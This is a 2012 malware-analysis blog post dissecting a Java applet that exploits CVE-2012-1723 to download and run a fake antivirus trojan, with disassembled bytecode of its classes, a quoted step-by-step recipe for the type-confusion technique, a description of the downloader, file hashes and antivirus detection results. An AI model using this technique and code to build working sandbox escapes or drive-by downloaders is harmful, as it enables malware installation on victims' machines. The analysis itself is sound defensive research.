Authors: Boldi, Gábor Pék

Our latest post on 15/07 was about a trojan dropped by some Java applet that contains some Java exploit.
The dropped trojan is a fake antivirus software, here is some screenshot of it:

We found that the exploit in use was CVE-2012-1723, which is analyzed on a number of websites, like: (detailed tech info on exploit technique) (05/07) (09/07) (10/07)

Our sample of the exploit slightly differs from the analyses above, thus we decided to disclose some more info on that.
Our sample is an applet and java classes stored in a jar file (creation date of classes are 14/07/2012 14:37), namely 4 classes: lei, pas, pax and tee). The applet is stored in class lei.

Lei gets one parameter called “nob” which contains the URL to be downloaded and executed upon successful explotation, as shown in the code example below by javap decompile.

public class lei extends java.applet.Applet {
public static java.lang.String[] twa;

public static java.lang.String kin;

public lei();
0: aload_0
1: invokespecial #1 // Method java/applet/Applet."":()V
4: return

public void init();
0: aload_0
1: pop
2: aload_0
3: ldc #2 // String nob
5: invokevirtual #3 // Method getParameter:(Ljava/lang/String;)Ljava/lang/String;
8: ldc #4 // String @
10: invokevirtual #5 // Method java/lang/String.split:(Ljava/lang/String;)[Ljava/lang/String;
13: putstatic #6 // Field twa:[Ljava/lang/String;
16: iconst_0
17: istore_1

As it can be seen the string is stored in twa, which will be used later on the downloader class tee:

public java.lang.Object run();
0: getstatic #4 // Field lei.twa:[Ljava/lang/String;
3: astore 12

The exploitation mechanism is very similar to the samples given by the publications described above. lei == fawd of the Symantec analysis, the main applet. It uses class pas similar to fawc (Symantec) == C2 (eset) for main exploitation, which in our sample 97 pieces of variables of type “sax” named fog01..fog97. The number of variables therefore slighly differs, Symantec and ESET both reported 99 viariables, Michael ‘mihi’ Schierl talks about 100 variables.

Related part of pas:

public class pas {
static java.lang.ClassLoader fob;

sax fog1;
sax fog2;
sax fog95;
sax fog96;
sax fog97;

0: aload_0
1: invokespecial #1 // Method java/lang/Object."":()V
4: return

Or if you like it in java way, here is an image with a decompiled version:

Back to lei, it has a cycle of 100,000, like in the Mihi document.

Mihi writes:

Then use this class follows to confuse an object from type A to B:

Instantiate a new instance of your crafted class.
call its confuse method 100_000 times with arg null.
wait a few milliseconds to give JIT time to do its dirty work.
call the confuse method with your instance of A.

Our code:

26: iload_1
27: ldc #9 // int 100000
29: if_icmpge 44
32: aload_2
33: aconst_null
34: invokevirtual #10 // Method pas.gat:(Ljava/lang/ClassLoader;)Lsax;
37: pop
38: iinc 1, 1
41: goto 26
44: invokestatic #11 // Method java/lang/Thread.currentThread:()Ljava/lang/Thread;

So it uses pas.gat for 100 000 times, then wait and confuse at line 44:

44: invokestatic #11 // Method java/lang/Thread.currentThread:()Ljava/lang/Thread;
47: pop
48: ldc2_w #12 // long 11l
51: invokestatic #14 // Method java/lang/Thread.sleep:(J)V
54: aload_2
55: aload_0
56: invokevirtual #15 // Method java/lang/Object.getClass:()Ljava/lang/Class;
59: invokevirtual #16 // Method java/lang/Class.getClassLoader:()Ljava/lang/ClassLoader;
62: invokevirtual #10 // Method pas.gat:(Ljava/lang/ClassLoader;)Lsax;
65: astore_3
66: aload_3
67: invokestatic #17 // Method sax.urd:(Lsax;)V

As you can see, after exploitation sax.urd is called.

works like Mihi wrote about the confusion function:

Also add a non-static confuse method that
takes a parameter of type A and returns a result of type B
returns quickly if called with a null argument
else first calls GETSTATIC and then PUTFIELD on the static field (don’t forget to push this as the receiver to the stack for the second call!)
next checks each of the instance fields and returns the first one that is not null (ASM is great for creating loops of repetitive bytecode like that)
returns null otherwise, just to make the method return a value in all cases.

In code:

sax gat(java.lang.ClassLoader);
0: aload_1
1: ifnonnull 6
4: aconst_null
5: areturn
6: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
9: getstatic #3 // Field fob:Ljava/lang/ClassLoader;
12: invokevirtual #4 // Method java/io/PrintStream.print:(Ljava/lang/Object;)V
15: aload_0
16: nop
17: aload_1
18: putfield #3 // Field fob:Ljava/lang/ClassLoader;
21: aload_0
22: getfield #5 // Field fog1:Lsax;
25: ifnull 33
28: aload_0
29: getfield #5 // Field fog1:Lsax;
32: areturn
33: aload_0
34: getfield #6 // Field fog2:Lsax;
1181: getfield #101 // Field fog97:Lsax;
1184: areturn
1185: aconst_null
1186: areturn

You can see the rapid return for null parameter then the getstatic-putfield parts nad the final return, exactly like it was described.

The sax type for fog variables is defned in sax.class. It contains zoa, owl and urd methods. As we have seen, method urd is called from lei after explitation.

urd uses the class tee to download the trojan. Defined in the run method of tee the trojan is downloaded to the temporary directory and later started with “cmd.exe /c start” by method pis. The method hes of tee defines the download InputStream for the URL (or URLs separated by @) to be downloaded with the help of goy method of lei. urd of sax not just uses tee to make the download and run, but his own owl method sets the proper permissions to fullfil its goal.


Our malware sample it very similar to the Maljava/Symantec and also the description from Mihi, although slight differences, and different naming obfuscation exists. The file to be downloaded is not hard-coded, but received as parameter.

Corresponding files and hashes:

eb710f5b0022d35a2cbf0c539528cbb3 *jar_cache9086383559255725283.tmp
f13441dbe92c099f1589e79a8b25f2ef *lei.class
ebe346ef2e2c27c73cd5d76f68e682e6 *pas.class
b9c9522a5ba97f1aec7e0189c6b2ef71 *sax.class
d6d35282a88af5be723137f564e9cb92 *tee.class

We also share VirusTotal results on our file. Notes on Virustotal results:
McAfee naming Exploit-CVE2012-1273.c shoud be 1723 instead of 1273.
Symantec names it Trojan.Maljava, although their file names and content for that sample described in slightly differ.
EXP/2012-0507.CK.2 refers to CVE-2012-0507, another java exploit

Virustotal results:

SHA256: 2881310732f4464fcaf2aeb6b13533ae1be29b25637b895a1f652db6fc8c6d5a
SHA1: 5fceed49f0e9a2f7c0bc0b936660c8dbaf822125
MD5: eb710f5b0022d35a2cbf0c539528cbb3
File size: 6.1 KB ( 6243 bytes )
File name: jar_cache9086383559255725283.tmp
File type: JAR


Detection ratio: 15 / 41
Analysis date: 2012-07-28 22:19:41 UTC

( 12 perc ago )

Antivirus Result Update
nProtect 20120728
CAT-QuickHeal 20120728
McAfee Exploit-CVE2012-1273.c 20120728
TheHacker 20120728
K7AntiVirus 20120728
VirusBuster 20120728
F-Prot 20120728
Symantec Trojan.Maljava 20120728
Norman 20120728
TotalDefense 20120728
TrendMicro-HouseCall TROJ_GEN.F47V0720 20120729
Avast Java:Agent-BIJ [Trj] 20120728
eSafe Win32.Trojan 20120726
ClamAV 20120728
Kaspersky UDS:DangerousObject.Multi.Generic 20120728
BitDefender 20120728
ViRobot 20120728
ByteHero 20120723
Sophos Troj/JavaBz-FT 20120728
Comodo 20120728
F-Secure 20120728
DrWeb 20120728
VIPRE 20120728
AntiVir EXP/2012-0507.CK.2 20120728
TrendMicro 20120728
McAfee-GW-Edition Exploit-CVE2012-1273.c 20120728
Emsisoft Trojan-Downloader.Java.OpenConnection!IK 20120728
Jiangmin 20120728
Antiy-AVL 20120727
Microsoft TrojanDownloader:Java/OpenConnection.PU 20120729
SUPERAntiSpyware 20120728
GData Java:Agent-BIJ 20120728
Commtouch 20120728
AhnLab-V3 JAVA/Agent 20120728
VBA32 20120727
ESET-NOD32 20120728
Rising 20120726
Ikarus Trojan-Downloader.Java.OpenConnection 20120728
Fortinet Java/JavaBz.FT!tr 20120728
AVG 20120728
Panda 20120728

Leave a Reply